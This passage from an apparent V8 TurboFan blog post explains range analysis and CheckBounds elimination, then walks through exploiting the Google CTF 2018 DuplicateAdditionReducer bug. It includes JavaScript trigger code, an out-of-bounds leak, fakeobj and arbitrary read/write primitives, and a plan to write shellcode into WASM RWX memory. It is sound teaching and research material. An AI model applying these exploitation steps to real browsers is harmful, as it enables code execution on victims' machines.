CheckBounds nodes Our final experiment deals with CheckBounds nodes. Basically, nodes with a CheckBounds opcode add bound checks before loads and stores. Consider the following code : function opt_me(b) { let values = [42,1337]; // HeapConstant <FixedArray[2]> let x = 10; // NumberConstant[10] | Range(10,10) if (b == "foo") x = 5; // NumberConstant[5] | Range(5,5) // Phi | Range(5,10) let y = x + 2; // SpeculativeSafeIntegerAdd | Range(7,12) y = y + 1000; // SpeculativeSafeIntegerAdd | Range(1007,1012) y = y * 2; // SpeculativeNumberMultiply | Range(2014,2024) y = y & 10; // SpeculativeNumberBitwiseAnd | Range(0,10) y = y / 3; // SpeculativeNumberDivide | PlainNumber[r][s][t] y = y & 1; // SpeculativeNumberBitwiseAnd | Range(0,1) return values[y]; // CheckBounds | Range(0,1) } In order to prevent values[y] from using an out of bounds index, a CheckBounds node is generated. Here is what the sea of nodes graph looks like right after the escape analysis phase. The cautious reader probably noticed something interesting about the range analysis. The type of the CheckBounds node is Range(0,1)! And also, the LoadElement has an input FixedArray HeapConstant of length 2. That leads us to an interesting phase: the simplified lowering. Simplified lowering When visiting a node with a IrOpcode::kCheckBounds opcode, the function VisitCheckBounds is going to get called. And this function, is responsible for CheckBounds elimination which sounds interesting! Long story short, it compares inputs 0 (index) and 1 (length). If the index's minimum range value is greater than zero (or equal to) and its maximum range value is less than the length value, it triggers a DeferReplacement which means that the CheckBounds node eventually will be removed! void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) { CheckParameters const& p = CheckParametersOf(node->op()); Type const index_type = TypeOf(node->InputAt(0)); Type const length_type = TypeOf(node->InputAt(1)); if (length_type.Is(Type::Unsigned31())) { if (index_type.Is(Type::Integral32OrMinusZero())) { // Map -0 to 0, and the values in the [-2^31,-1] range to the // [2^31,2^32-1] range, which will be considered out-of-bounds // as well, because the {length_type} is limited to Unsigned31. VisitBinop(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower()) { if (lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison && (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min()))) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. DeferReplacement(node, node->InputAt(0)); } else { NodeProperties::ChangeOp( node, simplified()->CheckedUint32Bounds(p.feedback())); } } // [...] } Once again, let's confirm that by playing with the graph. We want to look at the CheckBounds before the simplified lowering and observe its inputs. We can easily see that Range(0,1).Max() < 2 and Range(0,1).Min() >= 0. Therefore, node 58 is going to be replaced as proven useless by the optimization passes analysis. After simplified lowering, the graph looks like this : Playing with various addition opcodes If you look at the file stopcode.h we can see various types of opcodes that correspond to some kind of add primitive. V(JSAdd) V(NumberAdd) V(SpeculativeNumberAdd) V(SpeculativeSafeIntegerAdd) V(Int32Add) // many more [...] So, without going into too much details we're going to do one more experiment. Let's make small snippets of code that generate each one of these opcodes. For each one, we want to confirm we've got the expected opcode in the sea of node. SpeculativeSafeIntegerAdd let opt_me = (x) => { return x + 1; } for (var i = 0; i < 0x10000; ++i) opt_me(i); %DebugPrint(opt_me); %SystemBreak(); In this case, TurboFan speculates that x will be an integer. This guess is made due to the type feedback we mentioned earlier. Indeed, before kicking out TurboFan, v8 first quickly generates ignition bytecode that gathers type feedback. $ d8 speculative_safeintegeradd.js --allow-natives-syntax --print-bytecode --print-bytecode-filter opt_me [generated bytecode for function: opt_me] Parameter count 2 Frame size 0 13 E> 0xceb2389dc72 @ 0 : a5 StackCheck 24 S> 0xceb2389dc73 @ 1 : 25 02 Ldar a0 33 E> 0xceb2389dc75 @ 3 : 40 01 00 AddSmi [1], [0] 37 S> 0xceb2389dc78 @ 6 : a9 Return Constant pool (size = 0) Handler Table (size = 0) The x + 1 statement is represented by the AddSmi ignition opcode. If you want to know more, Franziska Hinkelmann wrote a blog post about ignition bytecode. Let's read the code to quickly understand the semantics. // Adds an immediate value <imm> to the value in the accumulator. IGNITION_HANDLER(AddSmi, InterpreterBinaryOpAssembler) { BinaryOpSmiWithFeedback(&BinaryOpAssembler::Generate_AddWithFeedback); } This code means that everytime this ignition opcode is executed, it will gather type feedback to to enable TurboFan’s speculative optimizations. We can examine the type feedback vector (which is the structure containing the profiling data) of a function by using %DebugPrint or the job gdb command on a tagged pointer to a FeedbackVector. DebugPrint: 0x129ab460af59: [Function] // [...] - feedback vector: 0x1a5d13f1dd91: [FeedbackVector] in OldSpace // [...] gef➤ job 0x1a5d13f1dd91 0x1a5d13f1dd91: [FeedbackVector] in OldSpace // ... - slot #0 BinaryOp BinaryOp:SignedSmall { // actual type feedback [0]: 1 } Thanks to this profiling, TurboFan knows it can generate a SpeculativeSafeIntegerAdd. This is exactly the reason why it is called speculative optimization (TurboFan makes guesses, assumptions, based on this profiling). However, once optimized, if opt_me is called with a completely different parameter type, there would be a deoptimization. SpeculativeNumberAdd let opt_me = (x) => { return x + 1000000000000; } opt_me(42); %OptimizeFunctionOnNextCall(opt_me); opt_me(4242); If we modify a bit the previous code snippet and use a higher value that can't be represented by a small integer (Smi), we'll get a SpeculativeNumberAdd instead. TurboFan speculates about the type of x and relies on type feedback. Int32Add let opt_me= (x) => { let y = x ? 10 : 20; return y + 100; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); At first, the addition y + 100 relies on speculation. Thus, the opcode SpeculativeSafeIntegerAdd is being used. However, during the simplified lowering phase, TurboFan understands that y + 100 is always going to be an addition between two small 32 bits integers, thus lowering the node to a Int32Add. Before After JSAdd let opt_me = (x) => { let y = x ? ({valueOf() { return 10; }}) : ({[Symbol.toPrimitive]() { return 20; }}); return y + 1; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); In this case, y is a complex object and we need to call a slow JSAdd opcode to deal with this kind of situation. NumberAdd let opt_me = (x) => { let y = x ? 10 : 20; return y + 1000000000000; } opt_me(true); %OptimizeFunctionOnNextCall(opt_me); opt_me(false); Like for the SpeculativeNumberAdd example, we add a value that can't be represented by an integer. However, this time there is no speculation involved. There is no need for any kind of type feedback since we can guarantee that y is an integer. There is no way to make y anything other than an integer. The DuplicateAdditionReducer challenge The DuplicateAdditionReducer written by Stephen Röttger for Google CTF 2018 is a nice TurboFan challenge that adds a new reducer optimizing cases like x + 1 + 1. Understanding the reduction Let’s read the relevant part of the code. Reduction DuplicateAdditionReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kNumberAdd: return ReduceAddition(node); default: return NoChange(); } } Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2); Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); // [1] } Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [2] } Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); // [3] } double const1 = OpParameter<double>(right->op()); double const2 = OpParameter<double>(parent_right->op()); Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node); // [4] } Basically that means we've got 4 different code paths (read the code comments) when reducing a NumberAdd node. Only one of them leads to a node change. Let's draw a schema representing all of those cases. Nodes in red to indicate they don't satisfy a condition, leading to a return NoChange. The case [4] will take both NumberConstant's double value and add them together. It will create a new NumberConstant node with a value that is the result of this addition. The node's right input will become the newly created NumberConstant while the left input will be replaced by the left parent's left input. Understanding the bug Precision loss with IEEE-754 doubles V8 represents numbers using IEEE-754 doubles. That means it can encode integers using 52 bits. Therefore the maximum value is pow(2,53)-1 which is 9007199254740991. Number above this value can't all be represented. As such, there will be precision loss when computing with values greater than that. A quick experiment in JavaScript can demonstrate this problem where we can get to strange behaviors. d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> x 9007199254740992 d8> x + 1 9007199254740992 d8> 9007199254740993 == 9007199254740992 true d8> x + 2 9007199254740994 d8> x + 3 9007199254740996 d8> x + 4 9007199254740996 d8> x + 5 9007199254740996 d8> x + 6 9007199254740998 Let's try to better understand this. 64 bits IEEE 754 doubles are represented using a 1-bit sign, 11-bit exponent and a 52-bit mantissa. When using the normalized form (exponent is non null), to compute the value, simply follow the following formula. value = (-1)^sign * 2^(e) * fraction e = 2^(exponent - bias) bias = 1024 (for 64 bits doubles) fraction = bit52*2^-0 + bit51*2^-1 + .... bit0*2^52 So let's go through a few computation ourselves. d8> %DumpObjects(Number.MAX_SAFE_INTEGER, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0ddd0 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0ddd8 0x433fffffffffffff d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 1, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0aec0 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0aec8 0x4340000000000000 d8> %DumpObjects(Number.MAX_SAFE_INTEGER + 2, 10) ----- [ HEAP_NUMBER_TYPE : 0x10 ] ----- 0x00000b8fffc0de88 0x00001f5c50100559 MAP_TYPE 0x00000b8fffc0de90 0x4340000000000001 For each number, we'll have the following computation. You can try the computations using links 1, 2 and 3. As you see, the precision loss is inherent to the way IEEE-754 computations are made. Even though we incremented the binary value, the corresponding real number was not incremented accordingly. It is impossible to represent the value 9007199254740993 using IEEE-754 doubles. That's why it is not possible to increment 9007199254740992. You can however add 2 to 9007199254740992 because the result can be represented! That means that x += 1; x += 1; may not be equivalent to x += 2. And that might be an interesting behaviour to exploit. d8> var x = Number.MAX_SAFE_INTEGER + 1 9007199254740992 d8> x + 1 + 1 9007199254740992 d8> x + 2 9007199254740994 Therefore, those two graphs are not equivalent. Furthermore, the reducer does not update the type of the changed node. That's why it is going to be 'incorrectly' typed with the old Range(9007199254740992,9007199254740992), from the previous Typer phase, instead of Range(9007199254740994,9007199254740994) (even though the problem is that really, we cannot take for granted that there is no precision loss while computing m+n and therefore x += n; x += n; may not be equivalent to x += (n + n)). There is going to be a mismatch between the addition result 9007199254740994 and the range type with maximum value of 9007199254740992. What if we can use this buggy range analysis to get to reduce a CheckBounds node during the simplified lowering phase in a way that it would remove it? It is actually possible to trick the CheckBounds simplified lowering visitor into comparing an incorrect index Range to the length so that it believes that the index is in bounds when in reality it is not. Thus removing what seemed to be a useless bound check. Let's check this by having yet another look at the sea of nodes! First consider the following code. let opt_me = (x) => { let arr = new Array(1.1,1.2,1.3,1.4); arr2 = new Array(42.1,42.0,42.0); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // maximum value : 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1; // 9007199254740992 + 1 + 1 = 9007199254740992 + 1 = 9007199254740992 // replaced by 9007199254740992+2=9007199254740994 because of the incorrect reduction z = z - (4503599627370495*2); // max = 2 vs actual max = 4 return arr[z]; } opt_me(""); %OptimizeFunctionOnNextCall(opt_me); let res = opt_me("foo"); print(res); We do get a graph that looks exactly like the problematic drawing we showed before. Instead of getting two NumberAdd(x,1), we get only one with NumberAdd(x,2), which is not equivalent. The maximum value of z will be the following : d8> var x = 9007199254740992 d8> x = x + 2 // because of the buggy reducer! 9007199254740994 d8> x = x - (4503599627370495*2) 4 However, the index range used when visiting CheckBounds during simplified lowering will be computed as follows : d8> var x = 9007199254740992 d8> x = x + 1 9007199254740992 d8> x = x + 1 9007199254740992 d8> x = x - (4503599627370495*2) 2 Confirm that by looking at the graph. The index type used by CheckBounds is Range(0,2)(but in reality, its value can be up to 4) whereas the length type is Range(4,4). Therefore, the index looks to be always in bounds, making the CheckBounds disappear. In this case, we can load/store 8 or 16 bytes further (length is 4, we read at index 4. You could also have an array of length 3 and read at index 3 or 4.). Actually, if we execute the script, we get some OOB access and leak memory! $ d8 trigger.js --allow-natives-syntax 3.0046854007112e-310 Exploitation Now that we understand the bug, we may want to improve our primitive. For instance, it would be interesting to get the ability to read and write more memory. Improving the primitive One thing to try is to find a value such that the difference between x + n + n and x + m (with m = n + n and x = Number.MAX_SAFE_INTEGER + 1) is big enough. For instance, replacing x + 007199254740989 + 9007199254740966 by x + 9014398509481956 gives us an out of bounds by 4 and not 2 anymore. d8> sum = 007199254740989 + 9007199254740966 x + 9014398509481956 d8> a = x + sum 18021597764222948 d8> b = x + 007199254740989 + 9007199254740966 18021597764222944 d8> a - b 4 And what if we do multiple additions to get even more precision loss? Like x + n + n + n + n to be transformed as x + 4n? d8> var sum = 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966 undefined d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> x + sum 27035996273704904 d8> x + 007199254740989 + 9007199254740966 + 007199254740989 + 9007199254740966 27035996273704896 d8> 27035996273704904 - 27035996273704896 8 Now we get a delta of 8. Or maybe we could amplify even more the precision loss using other operators? d8> var x = Number.MAX_SAFE_INTEGER + 1 undefined d8> 10 * (x + 1 + 1) 90071992547409920 d8> 10 * (x + 2) 90071992547409940 That gives us a delta of 20 because precision_loss * 10 = 20 and the precision loss is of 2. Step 0 : Corrupting a FixedDoubleArray First, we want to observe the memory layout to know what we are leaking and what we want to overwrite exactly. For that, I simply use my custom %DumpObjects v8 runtime function. Also, I use an ArrayBuffer with two views: one Float64Array and one BigUint64Array to easily convert between 64 bits floats and 64 bits integers. let ab = new ArrayBuffer(8); let fv = new Float64Array(ab); let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0]; } let hexprintablei = (i) => { return (i).toString(16).padStart(16,"0"); } let debug = (x,z, leak) => { print("oob index is " + z); print("length is " + x.length); print("leaked 0x" + hexprintablei(f2i(leak))); %DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements }; let opt_me = (x) => { let arr = new Array(1.1,1.2,1.3); arr2 = new Array(42.1,42.0,42.0); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1; z = z - (4503599627370495*2); let leak = arr[z]; if (x == "foo") debug(arr,z, leak); return leak; } opt_me(""); %OptimizeFunctionOnNextCall(opt_me); let res = opt_me("foo"); That gives the following results : oob index is 4 length is 3 leaked 0x0000000300000000 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00002e5fddf8b6a8 0x00002af7fe681451 MAP_TYPE 0x00002e5fddf8b6b0 0x0000000300000000 0x00002e5fddf8b6b8 0x3ff199999999999a arr[0] 0x00002e5fddf8b6c0 0x3ff3333333333333 arr[1] 0x00002e5fddf8b6c8 0x3ff4cccccccccccd arr[2] ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00002e5fddf8b6d0 0x00002af7fe681451 MAP_TYPE // also arr[3] 0x00002e5fddf8b6d8 0x0000000300000000 arr[4] with OOB index! 0x00002e5fddf8b6e0 0x40450ccccccccccd arr2[0] == 42.1 0x00002e5fddf8b6e8 0x4045000000000000 arr2[1] == 42.0 0x00002e5fddf8b6f0 0x4045000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x00002e5fddf8b6f8 0x0000290fb3502cf1 MAP_TYPE arr2 JSArray 0x00002e5fddf8b700 0x00002af7fe680c19 FIXED_ARRAY_TYPE [as] 0x00002e5fddf8b708 0x00002e5fddf8b6d1 FIXED_DOUBLE_ARRAY_TYPE Obviously, both FixedDoubleArray of arr and arr2 are contiguous. At arr[3] we've got arr2's map and at arr[4] we've got arr2's elements length (encoded as an Smi, which is 32 bits even on 64 bit platforms). Please note that we changed a little bit the trigger code : < let arr = new Array(1.1,1.2,1.3,1.4); --- > let arr = new Array(1.1,1.2,1.3); Otherwise we would read/write the map instead, as demonstrates the following dump : oob index is 4 length is 4 leaked 0x0000057520401451 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x30 ] ----- 0x0000108bcf50b6c0 0x0000057520401451 MAP_TYPE 0x0000108bcf50b6c8 0x0000000400000000 0x0000108bcf50b6d0 0x3ff199999999999a arr[0] == 1.1 0x0000108bcf50b6d8 0x3ff3333333333333 arr[1] 0x0000108bcf50b6e0 0x3ff4cccccccccccd arr[2] 0x0000108bcf50b6e8 0x3ff6666666666666 arr[3] == 1.3 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x0000108bcf50b6f0 0x0000057520401451 MAP_TYPE arr[4] with OOB index! 0x0000108bcf50b6f8 0x0000000300000000 0x0000108bcf50b700 0x40450ccccccccccd 0x0000108bcf50b708 0x4045000000000000 0x0000108bcf50b710 0x4045000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000108bcf50b718 0x00001dd08d482cf1 MAP_TYPE 0x0000108bcf50b720 0x0000057520400c19 FIXED_ARRAY_TYPE Step 1 : Corrupting a JSArray and leaking an ArrayBuffer's backing store The problem with step 0 is that we merely overwrite the FixedDoubleArray's length ... which is pretty useless because it is not the field actually controlling the JSArray’s length the way we expect it, it just gives information about the memory allocated for the fixed array. Actually, the only length we want to corrupt is the one from the JSArray. Indeed, the length of the JSArray is not necessarily the same as the length of the underlying FixedArray (or FixedDoubleArray). Let's quickly check that. d8> let a = new Array(0); undefined d8> a.push(1); 1 d8> %DebugPrint(a) DebugPrint: 0xd893a90aed1: [JSArray] - map: 0x18bbbe002ca1 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1cf26798fdb1 <JSArray[0]> - elements: 0x0d893a90d1c9 <FixedArray[17]> [HOLEY_SMI_ELEMENTS] - length: 1 - properties: 0x367210500c19 <FixedArray[0]> { #length: 0x0091daa801a1 <AccessorInfo> (const accessor descriptor) } - elements: 0x0d893a90d1c9 <FixedArray[17]> { 0: 1 1-16: 0x3672105005a9 <the_hole> } In this case, even though the length of the JSArray is 1, the underlying FixedArray as a length of 17, which is just fine! But that is something that you want to keep in mind. If you want to get an OOB R/W primitive that's the JSArray's length that you want to overwrite. Also if you were to have an out-of-bounds access on such an array, you may want to check that the size of the underlying fixed array is not too big. So, let's tweak a bit our code to target the JSArray's length! If you look at the memory dump, you may think that having the allocated JSArray before the FixedDoubleArray mightbe convenient, right? Right now the layout is: FIXED_DOUBLE_ARRAY_TYPE FIXED_DOUBLE_ARRAY_TYPE JS_ARRAY_TYPE Let's simply change the way we are allocating the second array. 23c23 < arr2 = new Array(42.1,42.0,42.0); --- > arr2 = Array.of(42.1,42.0,42.0); Now we have the following layout FIXED_DOUBLE_ARRAY_TYPE JS_ARRAY_TYPE FIXED_DOUBLE_ARRAY_TYPE oob index is 4 length is 3 leaked 0x000009d6e6600c19 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x000032adcd10b6b8 0x000009d6e6601451 MAP_TYPE 0x000032adcd10b6c0 0x0000000300000000 0x000032adcd10b6c8 0x3ff199999999999a arr[0] 0x000032adcd10b6d0 0x3ff3333333333333 arr[1] 0x000032adcd10b6d8 0x3ff4cccccccccccd arr[2] ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x000032adcd10b6e0 0x000009b41ff82d41 MAP_TYPE map arr[3] 0x000032adcd10b6e8 0x000009d6e6600c19 FIXED_ARRAY_TYPE properties arr[4] 0x000032adcd10b6f0 0x000032adcd10b729 FIXED_DOUBLE_ARRAY_TYPE elements 0x000032adcd10b6f8 0x0000000300000000 Cool, now we are able to access the JSArray instead of the FixedDoubleArray. However, we're accessing its properties field. Thanks to the precision loss when transforming +1+1 into +2 we get a difference of 2 between the computations. If we get a difference of 4, we'll be at the right offset. Transforming +1+1+1 into +3 will give us this! d8> x + 1 + 1 + 1 9007199254740992 d8> x + 3 9007199254740996 26c26 < z = z + 1 + 1; --- > z = z + 1 + 1 + 1; Now we are able to read/write the JSArray's length. oob index is 6 length is 3 leaked 0x0000000300000000 ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x000004144950b6e0 0x00001b7451b01451 MAP_TYPE 0x000004144950b6e8 0x0000000300000000 0x000004144950b6f0 0x3ff199999999999a // arr[0] 0x000004144950b6f8 0x3ff3333333333333 0x000004144950b700 0x3ff4cccccccccccd ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x000004144950b708 0x0000285651602d41 MAP_TYPE 0x000004144950b710 0x00001b7451b00c19 FIXED_ARRAY_TYPE 0x000004144950b718 0x000004144950b751 FIXED_DOUBLE_ARRAY_TYPE 0x000004144950b720 0x0000000300000000 // arr[6] Now to leak the ArrayBuffer's data, it's very easy. Just allocate it right after the second JSArray. let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays ab = new ArrayBuffer(AB_LENGTH); This way, we get the following memory layout : ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x00003a4d7608bb48 0x000023fe25c01451 MAP_TYPE 0x00003a4d7608bb50 0x0000000300000000 0x00003a4d7608bb58 0x3ff199999999999a arr[0] 0x00003a4d7608bb60 0x3ff199999999999a 0x00003a4d7608bb68 0x3ff199999999999a ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x00003a4d7608bb70 0x000034dc44482d41 MAP_TYPE 0x00003a4d7608bb78 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bb80 0x00003a4d7608bba9 FIXED_DOUBLE_ARRAY_TYPE 0x00003a4d7608bb88 0x0000006400000000 ----- [ FIXED_ARRAY_TYPE : 0x18 ] ----- 0x00003a4d7608bb90 0x000023fe25c007a9 MAP_TYPE 0x00003a4d7608bb98 0x0000000100000000 0x00003a4d7608bba0 0x000023fe25c005a9 ODDBALL_TYPE ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- 0x00003a4d7608bba8 0x000023fe25c01451 MAP_TYPE 0x00003a4d7608bbb0 0x0000000100000000 0x00003a4d7608bbb8 0x3ff3333333333333 arr2[0] ----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- 0x00003a4d7608bbc0 0x000034dc444821b1 MAP_TYPE 0x00003a4d7608bbc8 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bbd0 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bbd8 0x0000000000000100 0x00003a4d7608bbe0 0x0000556b8fdaea00 ab's backing_store pointer! 0x00003a4d7608bbe8 0x0000000000000002 0x00003a4d7608bbf0 0x0000000000000000 0x00003a4d7608bbf8 0x0000000000000000 We can simply use the corrupted JSArray (arr2) to read the ArrayBuffer (ab). This will be useful later because memory pointed to by the backing_store is fully controlled by us, as we can put arbitrary data in it, through a data view (like a Uint32Array). Now that we know a pointer to some fully controlled content, let's go to step 2! Step 2 : Getting a fake object Arrays of PACKED_ELEMENTS can contain tagged pointers to JavaScript objects. For those unfamiliar with v8, the elements kind of a JsArray in v8 gives information about the type of elements it is storing. Read this if you want to know more about elements kind. d8> var objects = new Array(new Object()) d8> %DebugPrint(objects) DebugPrint: 0xd79e750aee9: [JSArray] - elements: 0x0d79e750af19 <FixedArray[1]> { 0: 0x0d79e750aeb1 <Object map = 0x19c550d80451> } 0x19c550d82d91: [Map] - elements kind: PACKED_ELEMENTS Therefore if you can corrupt the content of an array of PACKED_ELEMENTS, you can put in a pointer to a crafted object. This is basically the idea behind the fakeobj primitive. The idea is to simply put the address backing_store+1 in this array (the original pointer is not tagged, v8 expect pointers to JavaScript objects to be tagged). Let's first simply write the value 0x4141414141 in the controlled memory. Indeed, we know that the very first field of any object is a a pointer to a map (long story short, the map is the object that describes the type of the object. Other engines call it a Shape or a Structure. If you want to know more, just read the previous post on SpiderMonkey or this blog post). Therefore, if v8 indeed considers our pointer as an object pointer, when trying to use it, we should expect a crash when dereferencing the map. Achieving this is as easy as allocating an array with an object pointer, looking for the index to the object pointer, and replacing it by the (tagged) pointer to the previously leaked backing_store. let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays evil_ab = new ArrayBuffer(AB_LENGTH); packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI); Quickly check the memory layout. ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x0000220f2ec82410 0x0000353622a01451 MAP_TYPE 0x0000220f2ec82418 0x0000000300000000 0x0000220f2ec82420 0x3ff199999999999a 0x0000220f2ec82428 0x3ff199999999999a 0x0000220f2ec82430 0x3ff199999999999a ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000220f2ec82438 0x0000261a44682d41 MAP_TYPE 0x0000220f2ec82440 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec82448 0x0000220f2ec82471 FIXED_DOUBLE_ARRAY_TYPE 0x0000220f2ec82450 0x0000006400000000 ----- [ FIXED_ARRAY_TYPE : 0x18 ] ----- 0x0000220f2ec82458 0x0000353622a007a9 MAP_TYPE 0x0000220f2ec82460 0x0000000100000000 0x0000220f2ec82468 0x0000353622a005a9 ODDBALL_TYPE ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- 0x0000220f2ec82470 0x0000353622a01451 MAP_TYPE 0x0000220f2ec82478 0x0000000100000000 0x0000220f2ec82480 0x3ff3333333333333 ----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- 0x0000220f2ec82488 0x0000261a446821b1 MAP_TYPE 0x0000220f2ec82490 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec82498 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec824a0 0x0000000000000100 0x0000220f2ec824a8 0x00005599e4b21f40 0x0000220f2ec824b0 0x0000000000000002 0x0000220f2ec824b8 0x0000000000000000 0x0000220f2ec824c0 0x0000000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000220f2ec824c8 0x0000261a44682de1 MAP_TYPE 0x0000220f2ec824d0 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec824d8 0x0000220f2ec824e9 FIXED_ARRAY_TYPE 0x0000220f2ec824e0 0x0000000300000000 ----- [ FIXED_ARRAY_TYPE : 0x28 ] ----- 0x0000220f2ec824e8 0x0000353622a007a9 MAP_TYPE 0x0000220f2ec824f0 0x0000000300000000 0x0000220f2ec824f8 0x0000001300000000 // MARK 1 for memory scanning 0x0000220f2ec82500 0x00002f3befd86b81 JS_OBJECT_TYPE 0x0000220f2ec82508 0x0000003700000000 // MARK 2 for memory scanning Good, the FixedArray with the pointer to the Math object is located right after the ArrayBuffer. Observe that we put markers so as to scan memory instead of hardcoding offsets (which would be bad if we were to have a different memory layout for whatever reason). After locating the (oob) index to the object pointer, simply overwrite it and use it. let view = new BigUint64Array(evil_ab); view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer // ... arr2[index_to_object_pointer] = tagFloat(fbackingstore_ptr); packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer Et voilà! Step 3 : Arbitrary read/write primitive Going from step 2 to step 3 is fairly easy. We just need our ArrayBuffer to contain data that look like an actual object. More specifically, we would like to craft an ArrayBuffer with a controlled backing_store pointer. You can also directly corrupt the existing ArrayBuffer to make it point to arbitrary memory. Your call! Don't forget to choose a length that is big enough for the data you plan to write (most likely, your shellcode). let view = new BigUint64Array(evil_ab); for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) { view[i] = f2i(arr2[ab_len_idx-3+i]); if (view[i] > 0x10000 && !(view[i] & 1n)) view[i] = 0x42424242n; // backing_store } // [...] arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer // [...] let rw_view = new Uint32Array(packed_elements_array[1]); rw_view[0] = 0x1337; // *0x42424242 = 0x1337 You should get a crash like this. $ d8 rw.js [+] corrupted JSArray's length [+] Found backingstore pointer : 0000555c593d9890 Received signal 11 SEGV_MAPERR 000042424242 ==== C stack trace =============================== [0x555c577b81a4] [0x7ffa0331a390] [0x555c5711b4ae] [0x555c5728c967] [0x555c572dc50f] [0x555c572dbea5] [0x555c572dbc55] [0x555c57431254] [0x555c572102fc] [0x555c57215f66] [0x555c576fadeb] [end of stack trace] Step 4 : Overwriting WASM RWX memory Now that's we've got an arbitrary read/write primitive, we simply want to overwrite RWX memory, put a shellcode in it and call it. We'd rather not do any kind of ROP or JIT code reuse(0vercl0k did this for SpiderMonkey). V8 used to have the JIT'ed code of its JSFunction located in RWX memory. But this is not the case anymore. However, as Andrea Biondo showed on his blog, WASM is still using RWX memory. All you have to do is to instantiate a WASM module and from one of its function, simply find the WASM instance object that contains a pointer to the RWX memory in its field JumpTableStart. Plan of action: 1. Read the JSFunction's shared function info 2. Get the WASM exported function from the shared function info 3. Get the WASM instance from the exported function 4. Read the JumpTableStart field from the WASM instance As I mentioned above, I use a modified v8 engine for which I implemented a %DumpObjects feature that prints an annotated memory dump. It allows to very easily understand how to get from a WASM JS function to the JumpTableStart pointer. I put some code here (Use it at your own risks as it might crash sometimes). Also, depending on your current checkout, the code may not be compatible and you will probably need to tweak it. %DumpObjects will pinpoint the pointer like this: ----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] ----- [...] 0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] So let's just find the RWX memory from a WASM function. sample_wasm.js can be found here. d8> load("sample_wasm.js") d8> %DumpObjects(global_test,10) ----- [ JS_FUNCTION_TYPE : 0x38 ] ----- 0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE 0x00002fac7911ed18 0x00000cdfc0080c19 